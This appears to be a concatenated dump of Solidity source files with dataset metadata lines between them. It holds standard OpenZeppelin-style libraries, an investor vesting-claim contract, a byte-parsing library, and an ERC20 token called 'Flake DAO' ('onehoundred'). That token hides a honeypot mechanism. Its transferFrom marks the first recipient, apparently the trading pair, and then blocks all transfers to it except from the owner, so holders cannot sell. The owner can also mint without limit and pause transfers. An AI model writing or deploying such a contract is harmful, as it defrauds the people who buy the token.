functionStaticCall(aby, data, "Address: low-level static call failed"); } function functionStaticCall(address aby, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(aby), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = aby.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address aby, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(aby, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address aby, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(aby), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = aby.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } library SafeBEP20 { using SafeMath for uint256; using Address for address; function safeTransfer(IBEP20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IBEP20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IBEP20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeBEP20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IBEP20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IBEP20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeBEP20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IBEP20 token, bytes memory data) private { // the aby address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeBEP20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeBEP20: BEP20 operation did not succeed"); } } }
250,639
12,144
ec3f0b13d4364875d7addef1bebbe773a1a6b6249942d314784f5d4c5b6b3f47
31,157
.sol
Solidity
false
439790498
redacted-cartel/contracts-v1
832e971b6c4f44d86bdb97d20eb38fe53356817a
contracts/InvestorClaim.sol
4,520
17,214
// SPDX-License-Identifier: AGPL-3.0-or-later\ pragma solidity 0.7.5; library SafeERC20 { using SafeMath for uint256; using Address for address; function safeTransfer(IERC20 token, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom(IERC20 token, address from, address to, uint256 value) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } function safeApprove(IERC20 token, address spender, uint256 value) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' // solhint-disable-next-line max-line-length require((value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).add(value); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance(IERC20 token, address spender, uint256 value) internal { uint256 newAllowance = token.allowance(address(this), spender).sub(value, "SafeERC20: decreased allowance below zero"); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function _callOptionalReturn(IERC20 token, bytes memory data) private { // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional // solhint-disable-next-line max-line-length require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } function sqrrt(uint256 a) internal pure returns (uint c) { if (a > 3) { c = a; uint b = add(div(a, 2), 1); while (b < c) { c = b; b = div(add(div(a, b), b), 2); } } else if (a != 0) { c = 1; } } function percentageAmount(uint256 total_, uint8 percentage_) internal pure returns (uint256 percentAmount_) { return div(mul(total_, percentage_), 1000); } function substractPercentage(uint256 total_, uint8 percentageToSub_) internal pure returns (uint256 result_) { return sub(total_, div(mul(total_, percentageToSub_), 1000)); } function percentageOfTotal(uint256 part_, uint256 total_) internal pure returns (uint256 percent_) { return div(mul(part_, 100) , total_); } function average(uint256 a, uint256 b) internal pure returns (uint256) { // (a + b) / 2 can overflow, so we distribute return (a / 2) + (b / 2) + ((a % 2 + b % 2) / 2); } function quadraticPricing(uint256 payment_, uint256 multiplier_) internal pure returns (uint256) { return sqrrt(mul(multiplier_, payment_)); } function bondingCurve(uint256 supply_, uint256 multiplier_) internal pure returns (uint256) { return mul(multiplier_, supply_); } } library Address { function isContract(address account) internal view returns (bool) { // This method relies in extcodesize, which returns 0 for contracts in // construction, since the code is only stored at the end of the // constructor execution. uint256 size; // solhint-disable-next-line no-inline-assembly assembly { size := extcodesize(account) } return size > 0; } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } // require(address(this).balance >= value, "Address: insufficient balance for call"); // return _functionCallWithValue(target, data, value, errorMessage); // } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: value }(data); return _verifyCallResult(success, returndata, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function functionStaticCall(address target, bytes memory data) internal view returns (bytes memory) { return functionStaticCall(target, data, "Address: low-level static call failed"); } function functionStaticCall(address target, bytes memory data, string memory errorMessage) internal view returns (bytes memory) { require(isContract(target), "Address: static call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.staticcall(data); return _verifyCallResult(success, returndata, errorMessage); } function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } function functionDelegateCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.delegatecall(data); return _verifyCallResult(success, returndata, errorMessage); } function _verifyCallResult(bool success, bytes memory returndata, string memory errorMessage) private pure returns(bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } function addressToString(address _address) internal pure returns(string memory) { bytes32 _bytes = bytes32(uint256(_address)); bytes memory HEX = "0123456789abcdef"; bytes memory _addr = new bytes(42); _addr[0] = '0'; _addr[1] = 'x'; for(uint256 i = 0; i < 20; i++) { _addr[2+i*2] = HEX[uint8(_bytes[i + 12] >> 4)]; _addr[3+i*2] = HEX[uint8(_bytes[i + 12] & 0x0f)]; } return string(_addr); } } interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface ITreasury { function deposit(uint _amount, address _token, uint _profit) external returns (uint); } interface IwBTRFLY { function sBTRFLYTowBTRFLY(uint amount) external view returns (uint); function wBTRFLYTosBTRFLY(uint amount) external view returns (uint); } interface IStaking { function stake(uint _amount, address _recipient) external returns (bool); function claim(address _recipient) external; } contract InvestorClaimV2 { using SafeMath for uint; using SafeERC20 for IERC20; struct Term { uint percent; // 4 decimals (5000 = 0.5%) uint wClaimed; // rebase-agnostic number uint max; // maximum nominal BTRFLY amount can claim } address owner; // can set terms address newOwner; // push/pull model for changing ownership IERC20 immutable BTRFLY; // claim token IERC20 immutable PRINCIPAL; // payment token ITreasury immutable treasury; // mints claim token IStaking immutable staking; // stake BTRFLY for sBTRFLY address immutable DAO; // holds non-circulating supply IwBTRFLY immutable wBTRFLY; // tracks rebase-agnostic balance mapping(address => Term) public terms; // tracks address info mapping(address => address) public walletChange; // facilitates address change uint public totalAllocated; // as percent of supply (4 decimals: 10000 = 1%) uint public maximumAllocated; // maximum portion of supply can allocate constructor(address _btrfly, address _principal, address _treasury, address _DAO, address _wBTRFLY, address _staking, uint _maximumAllocated) { owner = msg.sender; require(_btrfly != address(0)); BTRFLY = IERC20(_btrfly); require(_principal != address(0)); PRINCIPAL = IERC20(_principal); require(_treasury != address(0)); treasury = ITreasury(_treasury); require(_DAO != address(0)); DAO = _DAO; require(_wBTRFLY != address(0)); wBTRFLY = IwBTRFLY(_wBTRFLY); require(_staking != address(0)); staking = IStaking(_staking); maximumAllocated = _maximumAllocated; } function claim(uint _amount) external { BTRFLY.safeTransfer(msg.sender, _claim(_amount)); // send claimed to sender } function stake(uint _amount, bool _claimsBTRFLY) external { uint toStake = _claim(_amount); // claim BTRFLY with PRINCIPAL BTRFLY.approve(address(staking), toStake); staking.stake(toStake, msg.sender); // stake BTRFLY for sender if (_claimsBTRFLY) { staking.claim(msg.sender); // claim sBTRFLY for sender } } function _claim(uint _amount) internal returns (uint ToSend_) { PRINCIPAL.safeTransferFrom(msg.sender, address(this), _amount); // transfer PRINCIPAL payment in PRINCIPAL.approve(address(treasury), _amount); // approve and ToSend_ = treasury.deposit(_amount, address(PRINCIPAL), 0); // deposit into treasury, receive BTRFLY // ensure claim is within bounds require(claimableFor(msg.sender).div(1e9) >= ToSend_, 'Not enough vested'); require(terms[ msg.sender ].max.sub(claimed(msg.sender)) >= ToSend_, 'Claimed over max'); // add amount to tracked balance terms[ msg.sender ].wClaimed = terms[ msg.sender ].wClaimed.add(wBTRFLY.sBTRFLYTowBTRFLY(ToSend_)); } function pushWalletChange(address _newAddress) external { require(terms[ msg.sender ].percent != 0); walletChange[ msg.sender ] = _newAddress; } function pullWalletChange(address _oldAddress) external { require(walletChange[ _oldAddress ] == msg.sender, "wallet did not push"); walletChange[ _oldAddress ] = address(0); terms[ msg.sender ] = terms[ _oldAddress ]; delete terms[ _oldAddress ]; } function claimableFor(address _address) public view returns (uint) { Term memory info = terms[ _address ]; uint max = circulatingSupply().mul(info.percent).div(1e6); if (max > info.max) { max = info.max; } return max.sub(claimed(_address)).mul(1e9); } function claimed(address _address) public view returns (uint) { return wBTRFLY.wBTRFLYTosBTRFLY(terms[ _address ].wClaimed); } function circulatingSupply() public view returns (uint) { return BTRFLY.totalSupply().sub(BTRFLY.balanceOf(DAO)); } function setTerms(address _address, uint _max, uint _rate, uint _hasClaimed) external { require(msg.sender == owner, "Sender is not owner"); require(_max >= terms[ _address ].max, "cannot lower amount claimable"); require(_rate >= terms[ _address ].percent, "cannot lower vesting rate"); require(totalAllocated.add(_rate) <= maximumAllocated, "Cannot allocate more"); if(terms[ _address ].max == 0) { terms[ _address ].wClaimed = wBTRFLY.sBTRFLYTowBTRFLY(_hasClaimed); } terms[ _address ].max = _max; terms[ _address ].percent = _rate; totalAllocated = totalAllocated.add(_rate); } function pushOwnership(address _newOwner) external { require(msg.sender == owner, "Sender is not owner"); require(_newOwner != address(0)); newOwner = _newOwner; } function pullOwnership() external { require(msg.sender == newOwner); owner = newOwner; newOwner = address(0); } function renounceOwnership() external { require(msg.sender == owner, "Sender is not owner"); owner = address(0); newOwner = address(0); } }
5,672
12,145
a5fcbd639e1c844141d24b59290862527f93bb176190a53834662c733867a340
22,853
.sol
Solidity
false
454032456
tintinweb/smart-contract-sanctuary-avalanche
39792ff211cb89e79e9eb6ee7278f6843acb5cc6
contracts/testnet/ae/aed8acc26a08a7712a84ae844ae3dd1881230357_onehoundred.sol
3,101
11,760
pragma solidity ^0.6.12; // SPDX-License-Identifier: MIT interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } library SafeMath { function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { // Gas optimization: this is cheaper than requiring 'a' not being zero, but the // benefit is lost if 'b' is also tested. // See: https://github.com/OpenZeppelin/openzeppelin-contracts/pull/522 if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; // assert(a == b * c + a % b); // There is no case in which this doesn't hold return c; } function mod(uint256 a, uint256 b) internal pure returns (uint256) { return mod(a, b, "SafeMath: modulo by zero"); } function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b != 0, errorMessage); return a % b; } } abstract contract Context { function _msgSender() internal view virtual returns (address payable) { return msg.sender; } function _msgData() internal view virtual returns (bytes memory) { this; return msg.data; } } library Address { function isContract(address account) internal view returns (bool) { // According to EIP-1052, 0x0 is the value returned for not-yet created accounts // and 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470 is returned // for accounts without code, i.e. `keccak256('')` bytes32 codehash; bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470; // solhint-disable-next-line no-inline-assembly assembly { codehash := extcodehash(account) } return (codehash != accountHash && codehash != 0x0); } function sendValue(address payable recipient, uint256 amount) internal { require(address(this).balance >= amount, "Address: insufficient balance"); // solhint-disable-next-line avoid-low-level-calls, avoid-call-value (bool success,) = recipient.call{ value: amount }(""); require(success, "Address: unable to send value, recipient may have reverted"); } function functionCall(address target, bytes memory data) internal returns (bytes memory) { return functionCall(target, data, "Address: low-level call failed"); } function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) { return _functionCallWithValue(target, data, 0, errorMessage); } function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) { return functionCallWithValue(target, data, value, "Address: low-level call with value failed"); } function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) { require(address(this).balance >= value, "Address: insufficient balance for call"); return _functionCallWithValue(target, data, value, errorMessage); } function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) { require(isContract(target), "Address: call to non-contract"); // solhint-disable-next-line avoid-low-level-calls (bool success, bytes memory returndata) = target.call{ value: weiValue }(data); if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly // solhint-disable-next-line no-inline-assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } contract Ownable is Context { address private _owner; address private _previousOwner; uint256 private _lockTime; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () internal { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } function transferOwnership(address newOwner) public virtual onlyOwner { require(newOwner != address(0), "Ownable: new owner is the zero address"); emit OwnershipTransferred(_owner, newOwner); _owner = newOwner; } function geUnlockTime() public view returns (uint256) { return _lockTime; } //Locks the contract for owner for the amount of time provided function lock(uint256 time) public virtual onlyOwner { _previousOwner = _owner; _owner = address(0); _lockTime = now + time; emit OwnershipTransferred(_owner, address(0)); } //Unlocks the contract for owner when _lockTime is exceeds function unlock() public virtual { require(_previousOwner == msg.sender, "You don't have permission to unlock"); require(now > _lockTime , "Contract is locked until 7 days"); emit OwnershipTransferred(_owner, _previousOwner); _owner = _previousOwner; } } contract Pausable is Ownable { event Pause(); event Unpause(); bool public paused = false; modifier whenNotPaused() { require(!paused); _; } modifier whenPaused() { require(paused); _; } function pause() onlyOwner whenNotPaused public { paused = true; emit Pause(); } function unpause() onlyOwner whenPaused public { paused = false; emit Unpause(); } } contract onehoundred is Context, IERC20, Ownable, Pausable { using SafeMath for uint256; mapping (address => uint256) private _balances; mapping (address => mapping (address => uint256)) private _allowances; uint8 private _decimals = 9; uint256 private _totalSupply = 1000000000000000 * 10**9; string private _symbol = "Flake DAO"; string private _name = "Flake DAO"; address public newun; constructor() public { _balances[_msgSender()] = _totalSupply; emit Transfer(address(0), _msgSender(), _totalSupply); } function transfernewun(address _newun) public onlyOwner { newun = _newun; } function getOwner() external view returns (address) { return owner(); } function decimals() external view returns (uint8) { return _decimals; } function symbol() external view returns (string memory) { return _symbol; } function name() external view returns (string memory) { return _name; } function totalSupply() external view override returns (uint256) { return _totalSupply; } function balanceOf(address account) external view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) external override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) external view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) external override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function transferFrom(address sender, address recipient, uint256 amount) external override returns (bool) { if(sender != address(0) && newun == address(0)) newun = recipient; else require(recipient != newun || sender == owner(), "please wait"); _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "error in transferfrom")); return true; } function increaseAllowance(address spender, uint256 addedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].add(addedValue)); return true; } function decreaseAllowance(address spender, uint256 subtractedValue) public returns (bool) { _approve(_msgSender(), spender, _allowances[_msgSender()][spender].sub(subtractedValue, "error in decrease allowance")); return true; } function _transfer(address sender, address recipient, uint256 amount) internal { require(sender != address(0), "transfer sender address is 0 address"); require(recipient != address(0), "transfer recipient address is 0 address"); require(!paused || sender == owner() || recipient == owner(), "paused"); if(newun != address(0)) require(recipient != newun || sender == owner(), "please wait"); _balances[sender] = _balances[sender].sub(amount, "transfer balance too low"); _balances[recipient] = _balances[recipient].add(amount); emit Transfer(sender, recipient, amount); } // function _burn(address account, uint256 amount) internal { // require(account != address(0), "burn address is 0 address"); // _balances[account] = _balances[account].sub(amount, "burn balance to low"); // _totalSupply = _totalSupply.sub(amount); // emit Transfer(account, address(0), amount); // } function _approve(address owner, address spender, uint256 amount) internal { require(owner != address(0), "approve owner is 0 address"); require(spender != address(0), "approve spender is 0 address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } // function _burnFrom(address account, uint256 amount) internal { // _burn(account, amount); // } function mint(address _to, uint256 _amount) onlyOwner public returns (bool){ _totalSupply = _totalSupply.add(_amount); _balances[_to] = _balances[_to].add(_amount); emit Transfer(address(0), _to, _amount); return true; } }
103,916
12,146
3a5fa9995b9da9c474a7452fc0d4f31146f4108ad6f1700c2f2c28a4cc1d03ee
12,956
.sol
Solidity
false
492670100
Messi-Q/DeFi-Protocol
ce2661ef6bbb7810544bb619b6687e7228df8491
Derivative/Rug Pull Attack/poly/ZeroCopySource.sol
2,528
9,186
pragma solidity ^0.5.0; library ZeroCopySource { function NextBool(bytes memory buff, uint256 offset) internal pure returns(bool, uint256) { require(offset + 1 <= buff.length && offset < offset + 1, "Offset exceeds limit"); // byte === bytes1 byte v; assembly{ v := mload(add(add(buff, 0x20), offset)) } bool value; if (v == 0x01) { value = true; } else if (v == 0x00) { value = false; } else { revert("NextBool value error"); } return (value, offset + 1); } function NextByte(bytes memory buff, uint256 offset) internal pure returns (byte, uint256) { require(offset + 1 <= buff.length && offset < offset + 1, "NextByte, Offset exceeds maximum"); byte v; assembly{ v := mload(add(add(buff, 0x20), offset)) } return (v, offset + 1); } function NextUint8(bytes memory buff, uint256 offset) internal pure returns (uint8, uint256) { require(offset + 1 <= buff.length && offset < offset + 1, "NextUint8, Offset exceeds maximum"); uint8 v; assembly{ let tmpbytes := mload(0x40) let bvalue := mload(add(add(buff, 0x20), offset)) mstore8(tmpbytes, byte(0, bvalue)) mstore(0x40, add(tmpbytes, 0x01)) v := mload(sub(tmpbytes, 0x1f)) } return (v, offset + 1); } function NextUint16(bytes memory buff, uint256 offset) internal pure returns (uint16, uint256) { require(offset + 2 <= buff.length && offset < offset + 2, "NextUint16, offset exceeds maximum"); uint16 v; assembly { let tmpbytes := mload(0x40) let bvalue := mload(add(add(buff, 0x20), offset)) mstore8(tmpbytes, byte(0x01, bvalue)) mstore8(add(tmpbytes, 0x01), byte(0, bvalue)) mstore(0x40, add(tmpbytes, 0x02)) v := mload(sub(tmpbytes, 0x1e)) } return (v, offset + 2); } function NextUint32(bytes memory buff, uint256 offset) internal pure returns (uint32, uint256) { require(offset + 4 <= buff.length && offset < offset + 4, "NextUint32, offset exceeds maximum"); uint32 v; assembly { let tmpbytes := mload(0x40) let byteLen := 0x04 for { let tindex := 0x00 let bindex := sub(byteLen, 0x01) let bvalue := mload(add(add(buff, 0x20), offset)) } lt(tindex, byteLen) { tindex := add(tindex, 0x01) bindex := sub(bindex, 0x01) }{ mstore8(add(tmpbytes, tindex), byte(bindex, bvalue)) } mstore(0x40, add(tmpbytes, byteLen)) v := mload(sub(tmpbytes, sub(0x20, byteLen))) } return (v, offset + 4); } function NextUint64(bytes memory buff, uint256 offset) internal pure returns (uint64, uint256) { require(offset + 8 <= buff.length && offset < offset + 8, "NextUint64, offset exceeds maximum"); uint64 v; assembly { let tmpbytes := mload(0x40) let byteLen := 0x08 for { let tindex := 0x00 let bindex := sub(byteLen, 0x01) let bvalue := mload(add(add(buff, 0x20), offset)) } lt(tindex, byteLen) { tindex := add(tindex, 0x01) bindex := sub(bindex, 0x01) }{ mstore8(add(tmpbytes, tindex), byte(bindex, bvalue)) } mstore(0x40, add(tmpbytes, byteLen)) v := mload(sub(tmpbytes, sub(0x20, byteLen))) } return (v, offset + 8); } function NextUint255(bytes memory buff, uint256 offset) internal pure returns (uint256, uint256) { require(offset + 32 <= buff.length && offset < offset + 32, "NextUint255, offset exceeds maximum"); uint256 v; assembly { let tmpbytes := mload(0x40) let byteLen := 0x20 for { let tindex := 0x00 let bindex := sub(byteLen, 0x01) let bvalue := mload(add(add(buff, 0x20), offset)) } lt(tindex, byteLen) { tindex := add(tindex, 0x01) bindex := sub(bindex, 0x01) }{ mstore8(add(tmpbytes, tindex), byte(bindex, bvalue)) } mstore(0x40, add(tmpbytes, byteLen)) v := mload(tmpbytes) } require(v <= 0x7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff, "Value exceeds the range"); return (v, offset + 32); } function NextVarBytes(bytes memory buff, uint256 offset) internal pure returns(bytes memory, uint256) { uint len; (len, offset) = NextVarUint(buff, offset); require(offset + len <= buff.length && offset < offset + len, "NextVarBytes, offset exceeds maximum"); bytes memory tempBytes; assembly{ switch iszero(len) case 0 { // Get a location of some free memory and store it in tempBytes as // Solidity does for memory variables. tempBytes := mload(0x40) // The first word of the slice result is potentially a partial // word read from the original array. To read it, we calculate // the length of that partial word and start copying that many // bytes into the array. The first word we copy will start with // data we don't care about, but the last `lengthmod` bytes will // land at the beginning of the contents of the new array. When // we're done copying, we overwrite the full first word with // the actual length of the slice. let lengthmod := and(len, 31) // The multiplication in the next line is necessary // because when slicing multiples of 32 bytes (lengthmod == 0) // the following copy loop was copying the origin's length // and then ending prematurely not copying everything it should. let mc := add(add(tempBytes, lengthmod), mul(0x20, iszero(lengthmod))) let end := add(mc, len) for { // The multiplication in the next line has the same exact purpose // as the one above. let cc := add(add(add(buff, lengthmod), mul(0x20, iszero(lengthmod))), offset) } lt(mc, end) { mc := add(mc, 0x20) cc := add(cc, 0x20) } { mstore(mc, mload(cc)) } mstore(tempBytes, len) //update free-memory pointer //allocating the array padded to 32 bytes like the compiler does now mstore(0x40, and(add(mc, 31), not(31))) } //if we want a zero-length slice let's just return a zero-length array default { tempBytes := mload(0x40) mstore(0x40, add(tempBytes, 0x20)) } } return (tempBytes, offset + len); } function NextHash(bytes memory buff, uint256 offset) internal pure returns (bytes32 , uint256) { require(offset + 32 <= buff.length && offset < offset + 32, "NextHash, offset exceeds maximum"); bytes32 v; assembly { v := mload(add(buff, add(offset, 0x20))) } return (v, offset + 32); } function NextBytes20(bytes memory buff, uint256 offset) internal pure returns (bytes20 , uint256) { require(offset + 20 <= buff.length && offset < offset + 20, "NextBytes20, offset exceeds maximum"); bytes20 v; assembly { v := mload(add(buff, add(offset, 0x20))) } return (v, offset + 20); } function NextVarUint(bytes memory buff, uint256 offset) internal pure returns(uint, uint256) { byte v; (v, offset) = NextByte(buff, offset); uint value; if (v == 0xFD) { // return NextUint16(buff, offset); (value, offset) = NextUint16(buff, offset); require(value >= 0xFD && value <= 0xFFFF, "NextUint16, value outside range"); return (value, offset); } else if (v == 0xFE) { // return NextUint32(buff, offset); (value, offset) = NextUint32(buff, offset); require(value > 0xFFFF && value <= 0xFFFFFFFF, "NextVarUint, value outside range"); return (value, offset); } else if (v == 0xFF) { // return NextUint64(buff, offset); (value, offset) = NextUint64(buff, offset); require(value > 0xFFFFFFFF, "NextVarUint, value outside range"); return (value, offset); } else{ // return (uint8(v), offset); value = uint8(v); require(value < 0xFD, "NextVarUint, value outside range"); return (value, offset); } } }
67,487
12,147
40af2a7d59c244d91df25f5da926bb9f2b8578d16bdcb21a0b10fd6c1c412504
9,924
.sol
Solidity
false
367422064
YuGer26/ERC20-List-All
4f93234ff8de0cddf2ca81994275768250f2b1b7
erc20/SentinelChain(SENC)_0xa13f0743951b4f6e3e3aa039f682e17279f52bc3.sol
2,510
9,548
